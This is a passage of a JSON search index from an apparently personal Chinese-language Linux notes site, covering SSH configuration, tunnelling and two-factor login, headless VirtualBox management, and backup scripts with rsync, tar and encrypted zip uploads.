<p>\\u201c\\u5e26\\u7740\\u624b\\u673a\\u4e0a\\u81ea\\u4e60\\uff0c\\u516b\\u5c0f\\u65f6\\u505a\\u4e00\\u9053\\u9898\\u201d</p>\"},{\"location\":\"Links/#_7\",\"title\":\"\\u7ed3\\u8bed\",\"text\":\"<p>\\u4ee3\\u7801\\u4e0d\\u80fd\\u5f53\\u996d\\u5403\\uff0c\\u4ee3\\u7801\\u4e0d\\u80fd\\u5f53\\u6c34\\u559d\\uff0c\\u4ee3\\u7801\\u4e5f\\u4e0d\\u80fd\\u7ed9\\u8c01\\u751f\\u5b69\\u5b50\\u3002</p>\"},{\"location\":\"Linux-SSH/\",\"title\":\"SSH\",\"text\":\"\"},{\"location\":\"Linux-SSH/#id_rsa\",\"title\":\"\\u5ba2\\u6237\\u7aef\\u4e0d\\u540c\\u670d\\u52a1\\u5668\\u4f7f\\u7528\\u4e0d\\u540c\\u7684id_rsa\",\"text\":\"<p>\\u4fee\\u6539<code>.ssh/config</code>:</p> <pre><code>Host myshortname realname.example.com\\nHostName realname.example.com\\nIdentityFile ~/.ssh/realname_rsa # private key for realname\\nUser remoteusername\\n\\nHost aliyun\\nHostName 1.2.3.4\\nIdentityFile ~/.ssh/realname2_rsa\\nPort 10022\\nUser root\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u80fdssh aliyun\\u8fd9\\u6837\\u8bbf\\u95ee1.2.3.4:10022\\u7684ssh\\u4e86\\uff0c\\u4e0d\\u7528\\u4fee\\u6539/etc/hosts</p>\"},{\"location\":\"Linux-SSH/#sshd\",\"title\":\"\\u6362\\u4e2a\\u7aef\\u53e3\\u5f00\\u542f\\u4e00\\u4e2a\\u4e34\\u65f6\\u7684sshd\",\"text\":\"<pre><code>which sshd\\n/usr/sbin/sshd -oPort=2333\\n</code></pre>\"},{\"location\":\"Linux-SSH/#ssh_1\",\"title\":\"ssh\\u53cd\\u5411\\u4ee3\\u7406\",\"text\":\"<p>\\u53c2\\u89c1\\uff1ahttp://www.tuicool.com/articles/UVRNfi</p> <p>\\u5c06\\u672c\\u673a\\u768422\\u7aef\\u53e3\\u8f6c\\u53d1\\u81f3\\u5916\\u7f51\\u670d\\u52a1\\u5668\\u76842222\\u7aef\\u53e3\\uff1a</p> <pre><code>ssh -b 0.0.0.0 -L 2222:127.0.0.1:22 user@ip\\n</code></pre> <p>\\u6ce8\\u610f\\u5728\\u8fd0\\u884c\\u524d\\u9700\\u8981\\u8bbe\\u7f6e\\u514d\\u5bc6\\u7801\\u767b\\u5f55\\u4ee5\\u53ca\\u4fee\\u6539\\u5916\\u7f51\\u670d\\u52a1\\u5668\\u7684sshd_config\\uff0c\\u52a0\\u5165GatewayPorts  yes</p>\"},{\"location\":\"Linux-SSH/#ssh_2\",\"title\":\"\\u542f\\u7528SSH\\u5bc6\\u94a5\\u767b\\u5f55\\u540e\\u4e24\\u6b65\\u9a8c\\u8bc1\",\"text\":\"<p>\\u6548\\u679c\\uff1a\\u4e0d\\u5141\\u8bb8\\u5bc6\\u7801\\u767b\\u5f55\\uff0c\\u4f7f\\u7528\\u5bc6\\u94a5\\u767b\\u5f55\\u540e\\uff0c\\u9700\\u8981\\u8f93\\u5165\\u624b\\u673aGoogle Authenticator\\u663e\\u793a\\u7684\\u52a8\\u6001\\u9a8c\\u8bc1\\u7801</p> <p>\\u6ce8\\u610f\\u5728\\u786e\\u5b9a\\u4e24\\u6b65\\u767b\\u5f55\\u80fd\\u6210\\u529f\\u4e4b\\u524d\\uff0c\\u4fdd\\u6301\\u4e00\\u4e2aSSH\\u8fde\\u63a5\\u4ee5\\u514d\\u914d\\u7f6e\\u51fa\\u9519\\u65e0\\u6cd5\\u518d\\u63a7\\u5236\\u670d\\u52a1\\u5668</p> <p>\\u7b2c\\u96f6\\u6b65\\uff0c\\u786e\\u4fdd\\u81ea\\u5df1\\u77e5\\u9053root\\u5bc6\\u7801\\u8fd8\\u80fd\\u7269\\u7406\\u767b\\u5f55\\u670d\\u52a1\\u5668</p> <p>\\u7b2c\\u4e00\\u6b65\\uff0c\\u5b89\\u88c5Google Authenticator\\u8fd9\\u4e2a\\u5305</p> <pre><code>apt-get install -y libpam-google-authenticator\\n</code></pre> <p>\\u7b2c\\u4e8c\\u6b65\\uff0c\\u4fee\\u6539/etc/pam.d/sshd</p> <p>\\u5728\\u9876\\u90e8\\uff08\\u5728@include common-auth\\u4e4b\\u524d\\uff09\\u6dfb\\u52a0\\u8fd9\\u4e00\\u884c\\uff1a</p> <pre><code>auth sufficient pam_google_authenticator.so\\n</code></pre> <p>\\u7b2c\\u4e09\\u6b65\\uff0c\\u4fee\\u6539/etc/ssh/sshd_config</p> <p>\\u4e0d\\u5b58\\u5728\\u5219\\u6dfb\\u52a0\\uff0c\\u5b58\\u5728\\u4f46\\u4e0d\\u540c\\u5c31\\u4fee\\u6539\\uff0c\\u987a\\u5e8f\\u65e0\\u5173</p> <pre><code>PubkeyAuthentication yes\\nAuthenticationMethods publickey,keyboard-interactive\\nChallengeResponseAuthentication yes\\nPasswordAuthentication no\\nUsePAM yes\\n</code></pre> <p>\\u7b2c\\u56db\\u6b65\\uff0c\\u521b\\u5efa\\u4e00\\u4e2a\\u5bc6\\u94a5</p> <pre><code>google-authenticator\\n</code></pre> <p>\\u5bf9\\u95ee\\u9898\\u5747\\u56de\\u7b54y\\u6216\\u8005\\u81ea\\u884c\\u51b3\\u5b9a\\u54af~</p> <p>\\u7b2c\\u4e94\\u6b65\\uff0c\\u91cd\\u542f\\u670d\\u52a1\\u4ee5\\u751f\\u6548</p> <p>service ssh restart</p> <p>\\u6ce8\\u610f\\u5b83\\u7684\\u63d0\\u95ee\\uff0cVerification code\\u95ee\\u7684\\u624d\\u662f\\u9a8c\\u8bc1\\u7801\\uff0cPassword\\u95ee\\u7684\\u662f\\u8d26\\u53f7\\u5bc6\\u7801</p>\"},{\"location\":\"Linux-SSH/#ssh-ubuntu\",\"title\":\"ssh\\u767b\\u5f55\\u7981\\u7528\\u9ed8\\u8ba4\\u7684\\u4fe1\\u606f\\u663e\\u793a Ubuntu\",\"text\":\"<p>Ubuntu \\u9ed8\\u8ba4\\u767b\\u5f55\\u540e\\u4f1a\\u663e\\u793aWelcome to Ubuntu\\u7b49\\u591a\\u5c11\\u8f6f\\u4ef6\\u5305\\u53ef\\u4ee5\\u5347\\u7ea7\\u4fe1\\u606f\\uff0c\\u8fd9\\u4e9b\\u4fe1\\u606f\\u5e76\\u4e0d\\u662f\\u5f88\\u91cd\\u8981\\uff0c\\u5374\\u4f1a\\u62d6\\u6162ssh\\u767b\\u5f55\\u7684\\u901f\\u5ea6</p> <p>\\u7981\\u7528\\u65b9\\u6cd5\\u5982\\u4e0b\\uff1aFrom: https://ubuntuforums.org/showthread.php?t=1449020</p> <p>\\u7f16\\u8f91\\u8fd9\\u4e24\\u4e2a\\u6587\\u4ef6\\uff1a<code>/etc/pam.d/login</code>, <code>/etc/pam.d/sshd</code>\\uff0c\\u627e\\u5230\\u5176\\u4e2d\\u5305\\u542b<code>pam_motd</code>\\u7684\\u884c\\uff0c\\u6ce8\\u91ca\\u6389\\u4e4b\\u540e <code>service ssh reload</code></p> <p>\\u4ee5\\u540e\\u518d\\u767b\\u5f55ssh\\u5c31\\u4e0d\\u7528\\u7b49\\u5f85\\u4e86</p>\"},{\"location\":\"Linux-SSH/#ssh-config\",\"title\":\"ssh config\\u91cc\\u76f4\\u63a5\\u6307\\u5b9a\\u7aef\\u53e3\\u8f6c\\u53d1\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://www.ssh.com/academy/ssh/tunneling/example</p>\"},{\"location\":\"Linux-SSH/#_1\",\"title\":\"\\u5728\\u672c\\u5730\\u8bbf\\u95ee\\u8fdc\\u7a0b\",\"text\":\"<pre><code>LocalForward 5901 computer.myHost.edu:5901\\n</code></pre> <p>\\u7b49\\u4ef7\\u4e8e<code>-L 5901:computer.myHost.edu:5901</code>\\uff0c\\u5c06\\u8fdc\\u7a0b\\u76845901\\u7aef\\u53e3\\u6620\\u5c04\\u5230\\u672c\\u5730</p>\"},{\"location\":\"Linux-SSH/#_2\",\"title\":\"\\u5728\\u8fdc\\u7a0b\\u8bbf\\u95ee\\u672c\\u5730\",\"text\":\"<pre><code>RemoteForward 1234 127.0.0.1:3421\\n</code></pre> <p>\\u8fd9\\u6837\\u7b49\\u4ef7\\u4e8e<code>-R 1234:127.0.0.1:3421</code>\\uff0c\\u8ba9\\u8fdc\\u7a0b\\u670d\\u52a1\\u5668\\u53ef\\u4ee5\\u901a\\u8fc7\\u8bbf\\u95ee127.0.0.1:1234\\u6765\\u8bbf\\u95ee\\u5230\\u5ba2\\u6237\\u7aef\\u76843421</p> <p>\\u5982\\u679c\\u9700\\u8981\\u5141\\u8bb8\\u8fd9\\u4e2a\\u8f6c\\u53d1\\u76841234\\u7aef\\u53e3\\u5bf9\\u5916\\u63d0\\u4f9b\\u8bbf\\u95ee\\uff0c\\u8fd8\\u9700\\u8981\\u4fee\\u6539\\u670d\\u52a1\\u5668\\u7684sshd_config\\uff0c\\u8bbe\\u7f6e<code>GatewayPorts yes</code></p>\"},{\"location\":\"Linux-SSH/#sshd_1\",\"title\":\"\\u666e\\u901a\\u7528\\u6237\\u542f\\u52a8\\u7b2c\\u4e8c\\u4e2asshd\",\"text\":\"<p>\\u53c2\\u8003: - https://serverfault.com/questions/344295/is-it-possible-to-run-sshd-as-a-normal-user - https://serverfault.com/questions/471327/how-to-change-a-ssh-host-key</p> <p>\\u4ee5\\u4e0b\\u4f7f\\u7528<code>~/.ssh</code>\\u6587\\u4ef6\\u5939\\u5b58\\u653eHost key</p> <pre><code>mkdir ~/.ssh -p\\nssh-keygen -q -N \\\"\\\" -t dsa -f ~/.ssh/ssh_host_dsa_key\\nssh-keygen -q -N \\\"\\\" -t rsa -b 4096 -f ~/.ssh/ssh_host_rsa_key\\nssh-keygen -q -N \\\"\\\" -t ecdsa -f ~/.ssh/ssh_host_ecdsa_key\\nssh-keygen -q -N \\\"\\\" -t ed25519 -f ~/.ssh/ssh_host_ed25519_key\\ncp /etc/ssh/sshd_config ~/.ssh/\\n</code></pre> <p>\\u7f16\\u8f91~/.ssh/sshd_config\\u6587\\u4ef6\\uff0c\\u4fee\\u6539\\u8fd9\\u4e9b\\u9879\\u76ee:</p> <ul> <li>UsePrivilegeSeparation no</li> <li>UsePAM no</li> <li>HostKey ~/.ssh/ssh_host_rsa_key &lt;-\\u9700\\u8981\\u66ff\\u6362\\u4e3a\\u7edd\\u5bf9\\u8def\\u5f84</li> <li>Port 2222</li> <li>PasswordAuthentication no</li> </ul> <p>\\u7136\\u540e\\u542f\\u52a8sshd\\u8fdb\\u7a0b\\uff1a(\\u5982\\u679c\\u767b\\u5f55\\u4e0d\\u4e86\\u52a0\\u4e0a-d\\u770b\\u8c03\\u8bd5\\u4fe1\\u606f\\uff09</p> <pre><code>/usr/sbin/sshd -f ~/.ssh/sshd_config\\n</code></pre> <p>\\u767b\\u5f55\\u7684\\u65f6\\u5019\\u9700\\u8981\\u4f7f\\u7528ssh key\\u767b\\u5f55\\uff0c\\u56e0\\u4e3asshd\\u5e76\\u4e0d\\u80fd\\u8bfb\\u53d6/etc/shadow</p>\"},{\"location\":\"Linux-VirtualBox/\",\"title\":\"VirtualBox\",\"text\":\"<p>\\u53c2\\u8003 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/</p> <p>\\u5728linux\\u7ec8\\u7aef\\u4e0b\\u4f7f\\u7528VBoxManage\\u548cVBoxHeadless\\u521b\\u5efa\\u3001\\u542f\\u52a8\\u3001\\u63a7\\u5236\\u4e00\\u4e2aUbuntu14.04 64Bit\\u7684\\u865a\\u62df\\u673a</p>\"},{\"location\":\"Linux-VirtualBox/#_1\",\"title\":\"\\u4e0b\\u8f7d\",\"text\":\"<p>http://www.virtualbox.org/wiki/Downloads</p> <p>\\u4ece\\u5b98\\u7f51\\u627e\\u5230\\u5bf9\\u5e94\\u7684rpm\\u6216deb\\u4e0b\\u8f7d\\u5373\\u53ef</p> <p>rpm\\u6587\\u4ef6\\u7684\\u5b89\\u88c5\\uff1a</p> <p>rpm -ivh something.rpm</p> <p>deb\\u6587\\u4ef6\\u7684\\u5b89\\u88c5</p> <p>dpkg -i something.rpm</p> <p>\\u6267\\u884c<code>dpkg -i</code>\\u540e\\u9700\\u8981\\u6267\\u884c<code>apt-get -f install</code>\\u4ee5\\u5b89\\u88c5\\u7f3a\\u5931\\u7684\\u4f9d\\u8d56\\u5305</p>\"},{\"location\":\"Linux-VirtualBox/#_2\",\"title\":\"\\u4e00\\u5b9a\\u8981\\u5b89\\u88c5\\u989d\\u5916\\u5305\",\"text\":\"<pre><code>cd /tmp\\nwget http://download.virtualbox.org/virtualbox/5.1.16/Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack\\nsudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_3\",\"title\":\"\\u521b\\u5efa\\u865a\\u62df\\u673a\\uff0c\\u8bbe\\u7f6e\\u865a\\u62df\\u673a\\u9009\\u9879\",\"text\":\"<pre><code>mkdir -p /home/virtualbox\\nVBoxManage createvm --name ubuntu --ostype \\\"Ubuntu_64\\\" --register --basefolder /home/virtualbox/\\nVBoxManage createvdi  --filename ubuntu/ubuntu.vdi --size 102400 # 100GB\\nVBoxManage storagectl ubuntu --name storage_controller_1 --add ide\\nVBoxManage storageattach ubuntu --storagectl storage_controller_1 \\\\\\n--type hdd --port 0 --device 0  --medium ubuntu/ubuntu.vdi\\nVBoxManage storageattach ubuntu --storagectl storage_controller_1 \\\\\\n--type dvddrive --port 1 --device 0 --medium ubuntu-14.04.4-server-amd64.iso\\nVBoxManage modifyvm ubuntu --cpus 4 --memory 2048 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 3389\\n</code></pre> <p>\\u4ee5\\u4e0b\\u662f\\u6211\\u5b89\\u88c5CentOS 6.8 32bit minimal\\u7684\\u8fc7\\u7a0b</p> <pre><code>pushd /root\\ncurl -O http://mirrors.zju.edu.cn/centos/6.8/isos/i386/CentOS-6.8-i386-minimal.iso\\nmkdir /home/virtualbox\\n#\\u770b\\u770bostype\\u652f\\u6301\\u54ea\\u4e00\\u4e9b\\uff0c\\u7ed3\\u679c\\u53d1\\u73b0\\u6709RedHat\\uff0c\\u5c31\\u9009\\u5b83\\u54af\\nVBoxManage list ostypes\\nVBoxManage createvm --name centos --ostype \\\"RedHat\\\" --register --basefolder /home/virtualbox/\\npushd /home/virtualbox\\nVBoxManage createvdi  --filename centos/disk.vdi --size 2048 # 2GB\\nVBoxManage storagectl centos --name storage_controller_1 --add ide\\nVBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium centos/disk.vdi\\nVBoxManage storageattach centos --storagectl storage_controller_1 --type dvddrive --port 1 --device 0 --medium /root/CentOS-6.8-i386-minimal.iso\\n#\\u914d\\u7f6eCPU\\u548c\\u5185\\u5b58\\u9650\\u5236\\uff0c\\u5149\\u9a71\\u542f\\u52a8\\uff0c\\u5141\\u8bb8\\u591a\\u4e2a\\u5ba2\\u6237\\u7aef\\u8fde\\u63a5\\nVBoxManage modifyvm centos --cpus 1 --memory 512 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 13389 --vrdemulticon on\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_4\",\"title\":\"\\u542f\\u52a8\\u865a\\u62df\\u673a\",\"text\":\"<pre><code>nohup VBoxHeadless -startvm ubuntu --vrde on -e  TCP/Ports=63389 &amp;\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_5\",\"title\":\"\\u63a7\\u5236\\u865a\\u62df\\u673a\",\"text\":\"<p>Windows\\u4e0b\\u4f7f\\u7528<code>mstsc</code>\\u8fdc\\u7a0b\\u8fde\\u63a5\\u5373\\u53ef\\u83b7\\u5f97\\u4e00\\u4e2a\\u56fe\\u5f62\\u754c\\u9762\\u7684\\u7ec8\\u7aef\\u5b8c\\u6210\\u7cfb\\u7edf\\u5b89\\u88c5</p>\"},{\"location\":\"Linux-VirtualBox/#_6\",\"title\":\"\\u5220\\u9664\\u786c\\u76d8\",\"text\":\"<pre><code>VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium none\\nVBoxManage closemedium centos/disk.vdi\\nrm centos/disk.vdi\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_7\",\"title\":\"\\u8fd0\\u884c\\u6761\\u4ef6\\u4e0b\\u4fee\\u6539\\u7aef\\u53e3\\u6620\\u5c04\",\"text\":\"<pre><code># \\u9996\\u5148\\u901a\\u8fc7mstsc\\u7269\\u7406\\u63a5\\u89e6\\u865a\\u62df\\u673a\\uff0c\\u786e\\u8ba4ifconfig\\u5df2\\u7ecf\\u5f97\\u5230ip\\n# \\u5426\\u5219\\u9700\\u8981\\u5728\\u865a\\u62df\\u673a\\u4e2d\\u6267\\u884c ifconfig -a \\u67e5\\u770b\\u7f51\\u5361\\uff0c\\u6267\\u884c dhclient eth0 \\u83b7\\u5f97ip\\n\\n# \\u4f8b\\u5982\\u6211\\u4eec\\u9700\\u8981\\u5c06\\u865a\\u62df\\u673a\\u768422\\u7aef\\u53e3\\u6620\\u5c04\\u51fa10022\\u7aef\\u53e3\\n# \\u6700\\u540e\\u4e00\\u4e2a\\u53c2\\u6570\\u7684\\u683c\\u5f0f\\uff1a\\u89c4\\u5219\\u540d\\u79f0,tcp\\u8fd8\\u662fudp,\\u4e3b\\u673a\\u7684IP(\\u4e0d\\u586b\\u5c31\\u597d),\\u4e3b\\u673a\\u66b4\\u9732\\u51fa\\u6765\\u7684\\u7aef\\u53e3,\\u865a\\u62df\\u673a\\u7684IP(\\u4e0d\\u586b\\u5c31\\u597d),\\u9700\\u8981\\u6620\\u5c04\\u7684\\u865a\\u62df\\u673a\\u7aef\\u53e3\\nVBoxManage controlvm \\u865a\\u62df\\u673a\\u540d\\u79f0 natpf1 ssh,tcp,,10022,,22\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_8\",\"title\":\"\\u8fd0\\u884c\\u6761\\u4ef6\\u4e0b\\u5173\\u95ed\\u8fdc\\u7a0b\\u63a7\\u5236\",\"text\":\"<p>\\u7cfb\\u7edf\\u5b89\\u88c5\\u597d\\u4e86\\uff0cSSH\\u5f00\\u4e86\\uff0cSSH\\u7684\\u7aef\\u53e3\\u6620\\u5c04\\u53ef\\u4ee5\\u8fde\\u4e0a\\u53bb\\u4e86\\uff0c\\u5c31\\u53ef\\u4ee5\\u5173\\u6389\\u8fdc\\u7a0b\\u63a7\\u5236\\u4e86</p> <pre><code>VBoxManage controlvm \\u865a\\u62df\\u673a\\u540d\\u79f0 vrde off\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_9\",\"title\":\"\\u5c4f\\u5e55\\u622a\\u56fe\",\"text\":\"<pre><code>VBoxManage controlvm &lt;vm name&gt; screenshotpng /tmp/&lt;filename&gt;.png\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#_10\",\"title\":\"\\u4f18\\u96c5\\u7684\\u5173\\u673a\",\"text\":\"<pre><code>vboxmanage controlvm \\u865a\\u62df\\u673a\\u540d\\u79f0 poweroff soft\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#vrde\",\"title\":\"\\u5f00\\u542fvrde\\u8fdc\\u7a0b\\u684c\\u9762\",\"text\":\"<p>\\u4f3c\\u4e4e\\u9700\\u8981\\u5148\\u5173\\u673a\\u624d\\u80fd\\u64cd\\u4f5c</p> <pre><code>VBoxManage modifyvm \\\"VM name\\\" --vrdeextpack default\\nVBoxManage modifyvm \\\"VM name\\\" --vrde on\\nVBoxManage modifyvm \\\"VM name\\\" --vrdeport 3391\\nVBoxManage modifyvm \\\"VM name\\\" --vrdeaddress 0.0.0.0\\n</code></pre>\"},{\"location\":\"Linux-VirtualBox/#vdi\",\"title\":\"\\u4ece\\u786c\\u76d8+\\u5feb\\u7167vdi\\u6587\\u4ef6\\u6062\\u590d\",\"text\":\"<p>\\u5047\\u8bbe\\u5907\\u4efd\\u7684\\u65f6\\u5019\\u53ea\\u590d\\u5236\\u4e86\\u786c\\u76d8vdi\\u6587\\u4ef6\\u548cSnapshots\\u7684vdi\\u6587\\u4ef6\\uff0c\\u800c\\u5fd8\\u8bb0\\u4e86\\u5907\\u4efdvbox\\u6587\\u4ef6\\uff0c\\u5982\\u4f55\\u6062\\u590d\\u5feb\\u7167\\u5173\\u7cfb\\u5462</p> <p>\\u627e\\u5230 https://superuser.com/questions/1224554/recreate-virtualbox-machine-with-snapshots \\uff0c\\u601d\\u8def\\u662f\\u521b\\u5efa\\u4e2a\\u65b0\\u7684\\u865a\\u62df\\u673a \\u4ecebase vdi\\u5f00\\u59cb\\u6253\\u5feb\\u7167-&gt;\\u7f16\\u8f91vbox\\u5c06\\u65b0\\u7684Snapshot\\u6307\\u5411\\u4e0b\\u4e00\\u4e2a\\u5feb\\u7167-&gt;\\u7ee7\\u7eed\\u6253\\u5feb\\u7167\\u91cd\\u590d</p> <p>\\u5176\\u4e2d\\u5c31\\u9700\\u8981\\u6211\\u4eec\\u641e\\u6e05\\u695a\\u5feb\\u7167\\u7684\\u4f9d\\u8d56\\u5173\\u7cfb\\uff0c\\u770b\\u6587\\u4ef6\\u4fee\\u6539\\u7684\\u65f6\\u95f4\\u6233\\u5dee\\u4e0d\\u591a\\u53ef\\u4ee5\\u77e5\\u9053\\uff0c\\u4f46\\u5982\\u679c\\u6ca1\\u6709\\u8fd9\\u79cd\\u4fe1\\u606f\\u4e5f\\u4e0d\\u5fc5\\u6309\\u7167\\u4eba\\u5bb6\\u8bf4\\u7684\\u4e00\\u4e2a\\u4e2a\\u52a0\\u8f7d\\u5c1d\\u8bd5\\uff0c\\u53ef\\u4ee5\\u4f7f\\u7528\\u8fd9\\u7bc7\\u8bf4\\u5230\\u7684<code>VBoxManage internalcommands dumphdinfo</code>\\u6765\\u67e5\\u770b\\u6bcf\\u4e2a\\u5feb\\u7167\\u6587\\u4ef6\\u7684parent\\u662f\\u8c01\\u3002</p>\"},{\"location\":\"Linux-backup/\",\"title\":\"\\u5907\\u4efd \\u5907\\u4efd \\u5907\\u4efd\\uff01\",\"text\":\"<p>\\u4e00\\u4e2a\\u826f\\u597d\\u5b89\\u5168\\u7684\\u5907\\u4efd\\u8ba1\\u5212\\u81f3\\u5173\\u91cd\\u8981\\uff0c\\u5907\\u4efd\\u811a\\u672c\\u5e94\\u8be5\\u5bfc\\u51fa\\u6570\\u636e\\u5e93\\u3001\\u538b\\u7f29\\u65e5\\u5fd7\\u548c\\u52a8\\u6001\\u4ea7\\u751f\\u7684\\u6570\\u636e\\u6587\\u4ef6\\uff0c\\u52a0\\u5bc6\\u540e\\u4e0a\\u4f20\\u81f3\\u5176\\u4ed6\\u670d\\u52a1\\u5668\\u6216CDN</p>\"},{\"location\":\"Linux-backup/#demo\",\"title\":\"Demo\",\"text\":\"<p>\\u4e0b\\u9762\\u7684\\u4f8b\\u5b50\\u6d89\\u53ca\\u5230date\\u3001docker\\u3001tar\\u3001zip\\u3001\\u4e03\\u725bqshell\\u547d\\u4ee4\\u7684\\u4f7f\\u7528</p> <pre><code># !/bin/bash\\npushd \\u5de5\\u4f5c\\u76ee\\u5f55\\nd=`date +%Y%m%d`\\nmkdir bakup$d\\ncd bakup$d\\n(docker exec \\u5bb9\\u5668\\u540d\\u79f0 mysqldump -p\\u5bc6\\u7801 \\u6570\\u636e\\u5e93\\u540d\\u79f0) &gt;database.sql\\ntar cvzf log.tar.gz ../log # \\u538b\\u7f29log\\u76ee\\u5f55\\ncd ../\\n# \\u4f7f\\u7528zip\\u52a0\\u5bc6\\u538b\\u7f29\\uff0c\\u538b\\u7f29\\u540e\\u5220\\u9664\\u539f\\u6587\\u4ef6\\nzip -r -P \\u538b\\u7f29\\u5bc6\\u7801 -m bakup$d.zip bakup$d/\\n# \\u4f7f\\u7528\\u4e03\\u725b\\u7684qshell\\u4e0a\\u4f20\\u5907\\u4efd\\u6587\\u4ef6\\uff0c\\u8fd0\\u884c\\u524d\\u9700\\u8981\\u914d\\u7f6e\\u8d26\\u53f7qshell account \\u4f60\\u7684AK \\u4f60\\u7684SK\\n# \\u4e0b\\u9762\\u8fd9\\u6761\\u547d\\u4ee4\\u8868\\u793a\\u5c06bakup$d.zip\\u4e0a\\u4f20\\uff0cCDN\\u4e0a\\u5b58\\u50a8\\u7684\\u6587\\u4ef6\\u540d\\u4e3a$d.zip\\n./qshell fput \\u4f60\\u7684bucket\\u7684\\u540d\\u79f0 $d.zip bakup$d.zip\\n# \\u5982\\u679c\\u4f60\\u653e\\u5fc3\\u53ef\\u4ee5\\u672c\\u5730\\u5f7b\\u5e95\\u5220\\u6389\\u5907\\u4efd\\u6587\\u4ef6\\uff1a\\n# rm -r bakup$d.zip\\n</code></pre>\"},{\"location\":\"Linux-backup/#rsyncscp\",\"title\":\"\\u7528rsync\\u4ee3\\u66ffscp\",\"text\":\"<p>rsync\\u53ef\\u4ee5\\u65ad\\u70b9\\u7eed\\u4f20\\uff0c\\u4e0d\\u5982\\u5c31\\u7528rsync\\u4ee3\\u66ffscp</p> <p>\\u53c2\\u8003\\uff1ahttps://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh</p> <p>\\u9996\\u5148\\u9700\\u8981ssh-keygen\\u751f\\u6210id_rsa,\\u628aid_rsa.pub\\u7684\\u5185\\u5bb9\\u590d\\u5236\\u5230\\u76ee\\u6807\\u673a\\u5668\\u7684~/.ssh/authorized_keys</p> <p>\\u5728\\u9700\\u8981\\u4f7f\\u7528scp -r\\u7684\\u5730\\u65b9\\u6539\\u4e3arsync -avz -e \\u201cssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\\u201d \\u2013progress</p>\"},{\"location\":\"Linux-backup/#tar\",\"title\":\"tar\\u5907\\u4efd\\u6574\\u4e2a\\u7cfb\\u7edf\",\"text\":\"<p>\\u6bd4\\u5982\\u901a\\u8fc7\\u8fdc\\u7a0bssh\\u7684\\u65b9\\u5f0f\\u4e0b\\u8f7d\\u5230\\u670d\\u52a1\\u5668\\u7684\\u6574\\u4e2a\\u6839\\u76ee\\u5f55\\u6253\\u5305\\uff1a</p> <pre><code>ssh server tar -cvpz --one-file-system / &gt; server_backup.tar.gz\\n</code></pre> <p>\\u5176\\u4e2d\\uff1a</p> <ul> <li>c \\u521b\\u5efa</li> <li>v \\u538b\\u7f29\\u65f6\\u663e\\u793a\\u8be6\\u60c5 \\u5f53\\u524d\\u5904\\u7406\\u7684\\u6587\\u4ef6</li> <li>p preserve-permissions\\u4fdd\\u7559\\u6743\\u9650\\u4fe1\\u606f</li> <li>z \\u4f7f\\u7528gzip\\u538b\\u7f29</li> </ul>\"},{\"location\":\"Linux-backup/#rsynctime-machine\",\"title\":\"\\u4f7f\\u7528rsync\\u50cftime machine\\u4e00\\u6837\\u5168\\u76d8\\u5907\\u4efd\",\"text\":\"<p>https://github.com/laurent22/rsync-time-backup</p> <p>\\u4f8b\\u5982\\u5c06Linux\\u670d\\u52a1\\u5668\\u591a\\u4e2a\\u786c\\u76d8\\u6240\\u6709\\u6587\\u4ef6\\u5907\\u4efd\\u5230/nas/hostname\\u4e0b\\u9762</p> <p>\\u5148\\u4ecegithub\\u4e0b\\u8f7d\\u8fd9\\u4e2arsync_tmbackup.sh\\u6587\\u4ef6\\uff0c\\u5220\\u6389\\u5176\\u4e2d\\u7684<code>--one-file-system</code>\\uff0c\\u653e\\u5165/nas\\u76ee\\u5f55</p> <p>\\u5c06\\u9700\\u8981\\u5ffd\\u7565\\u7684\\u76ee\\u5f55\\u5199\\u6210/nas/rsync_ignore.txt\\uff0c\\u4f8b\\u5982\\uff1a\\uff08\\u6ce8\\u610f\\u5ffd\\u7565\\u4e86/mnt\\uff09</p> <pre><code>- /boot\\n- /dev\\n- /lost+found\\n- /media\\n- /mnt\\n- /nas\\n- /nfs\\n- /proc\\n- /snap\\n- /sys\\n- /tmp\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u6267\\u884c\\u5457\\uff1a</p> <pre><code>mkdir -p /nas/hostname\\ntouch /nas/hostname/backup.marker\\n/nas/rsync_tmbackup.sh / /nas/hostname/ /nas/rsync_ignore.txt\\n</code></pre> <p>\\u597d\\u5904\\u662f\\u4e0d\\u7528\\u81ea\\u5df1\\u6784\\u9020rsync\\u5404\\u79cd\\u590d\\u6742\\u7684\\u53c2\\u6570\\uff0c\\u5907\\u4efd\\u7684\\u6548\\u679c\\u662f\\u6bcf\\u6b21\\u5907\\u4efd\\u90fd\\u4f1a\\u4ea7\\u751f\\u4e00\\u4e2a\\u6587\\u4ef6\\u5939\\uff0c\\u4f46\\u4e0a\\u6b21\\u5907\\u4efd\\u65f6\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u6587\\u4ef6\\u53ea\\u4f1a\\u505a\\u786c\\u94fe\\u63a5</p>\"},{\"location\":\"Linux-backup/#rsyncroot\",\"title\":\"rsync\\u5907\\u4efd\\u5230\\u975eroot\\u7528\\u6237\\u7684\\u76ee\\u6807\\u673a\\u5668\\u4e0a\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://serverfault.com/questions/755753/preserve-ownership-with-rsync-without-root</p> 